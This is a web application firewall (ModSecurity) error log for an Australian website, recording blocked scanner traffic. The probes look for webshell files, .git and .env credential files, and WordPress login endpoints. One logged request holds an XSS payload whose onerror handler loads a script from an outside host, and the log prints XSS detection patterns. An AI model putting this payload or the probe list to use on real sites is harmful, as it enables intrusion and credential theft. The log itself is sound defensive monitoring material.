[Sun Apr 19 19:16:43.866500 2026] [:error] [pid 15694:tid 15726] [client 68.221.129.115:60956] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeS5m7imB-jol1fwqAr_9gAAAYM"]
[Sun Apr 19 19:16:44.966093 2026] [:error] [pid 47772:tid 47790] [client 68.221.129.115:35026] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeS5nIc0L16cb4smAz-UHQAAAAE"]
[Sun Apr 19 19:16:45.727147 2026] [:error] [pid 15693:tid 15703] [client 68.221.129.115:32960] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeS5ncNMD-ccazQlTslOQgAAAUc"]
[Sun Apr 19 19:16:46.763833 2026] [:error] [pid 15765:tid 15875] [client 68.221.129.115:35020] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeS5nvRqinw-W5EwQ77rNAAAApY"]
[Sun Apr 19 19:16:47.619606 2026] [:error] [pid 15693:tid 15708] [client 68.221.129.115:60974] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeS5n8NMD-ccazQlTslORQAAAUw"]
[Sun Apr 19 19:16:48.806119 2026] [:error] [pid 15693:tid 15697] [client 68.221.129.115:33020] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeS5oMNMD-ccazQlTslORgAAAUE"]
[Sun Apr 19 19:16:50.150216 2026] [:error] [pid 15764:tid 15831] [client 68.221.129.115:60962] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeS5omLL_sqdSHoVp-TiHwAAAkU"]
[Sun Apr 19 19:16:51.618777 2026] [:error] [pid 15694:tid 15745] [client 68.221.129.115:44211] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeS5o7imB-jol1fwqAr__AAAAZM"]
[Sun Apr 19 19:16:52.750981 2026] [:error] [pid 47886:tid 47908] [client 68.221.129.115:34557] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeS5pESe8yiyuPrD7yNlYgAAANQ"]
[Sun Apr 19 19:16:53.560393 2026] [:error] [pid 15764:tid 15826] [client 68.221.129.115:33002] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeS5pWLL_sqdSHoVp-TiJQAAAkA"]
[Sun Apr 19 19:17:38.208043 2026] [:error] [pid 47775:tid 47864] [client 68.221.129.115:60300] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aeS50rmztjlk9tsmoewApgAAAJU"]
[Sun Apr 19 19:17:39.000881 2026] [:error] [pid 15760:tid 15775] [client 68.221.129.115:32970] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aeS50vSdD_XHQMJ_ISvpOwAAAcc"]
[Sun Apr 19 19:17:39.596107 2026] [:error] [pid 15694:tid 15744] [client 68.221.129.115:34504] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aeS507imB-jol1fwqAoACAAAAZI"]
[Sun Apr 19 19:17:40.605739 2026] [:error] [pid 15763:tid 15811] [client 68.221.129.115:60344] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aeS51LMXv1Y1THOoxaDWwQAAAg8"]
[Sun Apr 19 19:17:42.171051 2026] [:error] [pid 47775:tid 47866] [client 68.221.129.115:35044] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeS51rmztjlk9tsmoewArgAAAJc"]
[Sun Apr 19 19:17:43.163912 2026] [:error] [pid 15693:tid 15720] [client 68.221.129.115:36371] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeS518NMD-ccazQlTslOVQAAAVg"]
[Sun Apr 19 19:17:45.047240 2026] [:error] [pid 15760:tid 15791] [client 68.221.129.115:34519] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeS52fSdD_XHQMJ_ISvpSQAAAdc"]
[Sun Apr 19 19:17:46.387393 2026] [:error] [pid 47772:tid 47789] [client 68.221.129.115:36384] [client 68.221.129.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aeS52oc0L16cb4smAz-UTwAAAAA"]
[Sun Apr 19 19:27:09.983522 2026] [:error] [pid 15760:tid 15788] [client 43.153.87.54:48248] [client 43.153.87.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeS8DfSdD_XHQMJ_ISvtbgAAAdQ"]
[Sun Apr 19 19:47:14.693581 2026] [:error] [pid 47773:tid 47821] [client 3.227.18.20:54274] [client 3.227.18.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\bon(?:abort|blur|change|click|dblclick|dragdrop|error|focus|keydown|keypress|keyup|load|mouse(?:down|move|out|over|up)|move|readystatechange|reset|resize|select|submit|unload)\\\\b[^a-zA-Z0-9_]{0,}?=" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "69"] [id "212750"] [rev "3"] [msg "COMODO WAF: XSS Attack Detected||vetstars.com.au|F|2"] [data "Matched Data: onerror= found within REQUEST_URI: /?utm_source=<img src=x onerror=body.appendchild(document.createelement('script')).src='//beary.ink/w'>&utm_medium=social"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeTAwuiBHdnCJDuPq9AtTwAAAEU"]
[Sun Apr 19 20:30:00.341938 2026] [:error] [pid 47772:tid 47802] [client 102.0.10.130:56498] [client 102.0.10.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.0.10.130, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeTKyIc0L16cb4smAz-ptAAAAA0"]
[Sun Apr 19 21:30:28.027850 2026] [:error] [pid 47773:tid 47833] [client 185.117.225.234:58996] [client 185.117.225.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.234, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeTY9OiBHdnCJDuPq9BEzgAAAFE"]
[Sun Apr 19 22:50:49.099900 2026] [:error] [pid 15763:tid 15806] [client 146.70.194.222:44514] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeTrybMXv1Y1THOoxaATDAAAAgo"]
[Sun Apr 19 22:50:49.635968 2026] [:error] [pid 15760:tid 15774] [client 146.70.194.222:45088] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aeTryfSdD_XHQMJ_IStfewAAAcY"]
[Sun Apr 19 22:50:50.155172 2026] [:error] [pid 15765:tid 15860] [client 146.70.194.222:45886] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aeTryvRqinw-W5EwQ74IRAAAAoc"]
[Sun Apr 19 22:57:43.973597 2026] [:error] [pid 15763:tid 15805] [client 88.151.34.253:52618] [client 88.151.34.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aeTtZ7MXv1Y1THOoxaAU6wAAAgk"]
[Sun Apr 19 22:57:45.766102 2026] [:error] [pid 15694:tid 15746] [client 88.151.34.253:52640] [client 88.151.34.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aeTtabimB-jol1fwqAoZPAAAAZQ"]
[Sun Apr 19 22:57:54.952958 2026] [:error] [pid 15760:tid 15778] [client 88.151.34.253:52758] [client 88.151.34.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aeTtcvSdD_XHQMJ_ISti1gAAAco"]
[Sun Apr 19 22:57:54.952958 2026] [:error] [pid 15760:tid 15777] [client 88.151.34.253:52686] [client 88.151.34.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aeTtcvSdD_XHQMJ_ISti1wAAAck"]
[Sun Apr 19 22:57:54.954352 2026] [:error] [pid 15763:tid 15798] [client 88.151.34.253:52742] [client 88.151.34.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aeTtcrMXv1Y1THOoxaAU_gAAAgI"]
[Sun Apr 19 23:10:32.215464 2026] [:error] [pid 47886:tid 47896] [client 20.203.147.105:21076] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aeTwaESe8yiyuPrD7yOIAQAAAMg"]
[Sun Apr 19 23:10:32.697554 2026] [:error] [pid 15765:tid 15860] [client 20.203.147.105:21058] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aeTwaPRqinw-W5EwQ74KwQAAAoc"]
[Sun Apr 19 23:10:33.244206 2026] [:error] [pid 47775:tid 47863] [client 20.203.147.105:21118] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aeTwabmztjlk9tsmoewrHAAAAJQ"]
[Sun Apr 19 23:10:33.774463 2026] [:error] [pid 15760:tid 15773] [client 20.203.147.105:20997] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aeTwafSdD_XHQMJ_IStomgAAAcU"]
[Sun Apr 19 23:10:34.300095 2026] [:error] [pid 15760:tid 15774] [client 20.203.147.105:21066] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "aeTwavSdD_XHQMJ_IStomwAAAcY"]
[Sun Apr 19 23:10:34.802602 2026] [:error] [pid 47775:tid 47850] [client 20.203.147.105:20998] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "aeTwarmztjlk9tsmoewrHwAAAIc"]
[Sun Apr 19 23:10:35.338563 2026] [:error] [pid 47775:tid 47848] [client 20.203.147.105:21088] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "aeTwa7mztjlk9tsmoewrJAAAAIU"]
[Sun Apr 19 23:10:35.810903 2026] [:error] [pid 15764:tid 15843] [client 20.203.147.105:21021] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "aeTwa2LL_sqdSHoVp-RAwgAAAlE"]
[Sun Apr 19 23:10:36.284733 2026] [:error] [pid 15764:tid 15837] [client 20.203.147.105:21056] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeTwbGLL_sqdSHoVp-RAxAAAAks"]
[Sun Apr 19 23:10:36.825716 2026] [:error] [pid 15764:tid 15836] [client 20.203.147.105:21094] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeTwbGLL_sqdSHoVp-RAxgAAAko"]
[Sun Apr 19 23:10:37.368421 2026] [:error] [pid 15760:tid 15771] [client 20.203.147.105:21064] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeTwbfSdD_XHQMJ_IStonwAAAcM"]
[Sun Apr 19 23:10:37.840468 2026] [:error] [pid 47886:tid 47888] [client 20.203.147.105:21003] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aeTwbUSe8yiyuPrD7yOIAwAAAMA"]
[Sun Apr 19 23:10:38.375426 2026] [:error] [pid 47886:tid 47909] [client 20.203.147.105:21083] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeTwbkSe8yiyuPrD7yOIBgAAANU"]
[Sun Apr 19 23:10:38.876062 2026] [:error] [pid 15764:tid 15838] [client 20.203.147.105:21093] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeTwbmLL_sqdSHoVp-RAyAAAAkw"]
[Sun Apr 19 23:10:39.353119 2026] [:error] [pid 47773:tid 47819] [client 20.203.147.105:21008] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeTwb-iBHdnCJDuPq9BaOgAAAEM"]
[Sun Apr 19 23:10:39.826864 2026] [:error] [pid 15763:tid 15808] [client 20.203.147.105:21107] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeTwb7MXv1Y1THOoxaAXfwAAAgw"]
[Sun Apr 19 23:10:40.298870 2026] [:error] [pid 15763:tid 15820] [client 20.203.147.105:21061] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeTwcLMXv1Y1THOoxaAXggAAAhg"]
[Sun Apr 19 23:10:40.800271 2026] [:error] [pid 15763:tid 15809] [client 20.203.147.105:21101] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeTwcLMXv1Y1THOoxaAXhAAAAg0"]
[Sun Apr 19 23:10:41.305528 2026] [:error] [pid 15763:tid 15804] [client 20.203.147.105:21017] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeTwcbMXv1Y1THOoxaAXhQAAAgg"]
[Sun Apr 19 23:10:41.777247 2026] [:error] [pid 47772:tid 47806] [client 20.203.147.105:21073] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file-kikikoko.php"] [unique_id "aeTwcYc0L16cb4smAz_fJwAAABE"]
[Sun Apr 19 23:10:42.279458 2026] [:error] [pid 47773:tid 47826] [client 20.203.147.105:20999] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeTwcuiBHdnCJDuPq9BaPQAAAEo"]
[Sun Apr 19 23:10:42.781696 2026] [:error] [pid 47773:tid 47818] [client 20.203.147.105:21062] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeTwcuiBHdnCJDuPq9BaQAAAAEI"]
[Sun Apr 19 23:10:43.257931 2026] [:error] [pid 47773:tid 47837] [client 20.203.147.105:21073] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeTwc-iBHdnCJDuPq9BaQgAAAFU"]
[Sun Apr 19 23:10:43.769329 2026] [:error] [pid 47773:tid 47820] [client 20.203.147.105:21085] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeTwc-iBHdnCJDuPq9BaRAAAAEQ"]
[Sun Apr 19 23:10:44.256050 2026] [:error] [pid 47773:tid 47836] [client 20.203.147.105:21113] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ganja.php"] [unique_id "aeTwdOiBHdnCJDuPq9BaRwAAAFQ"]
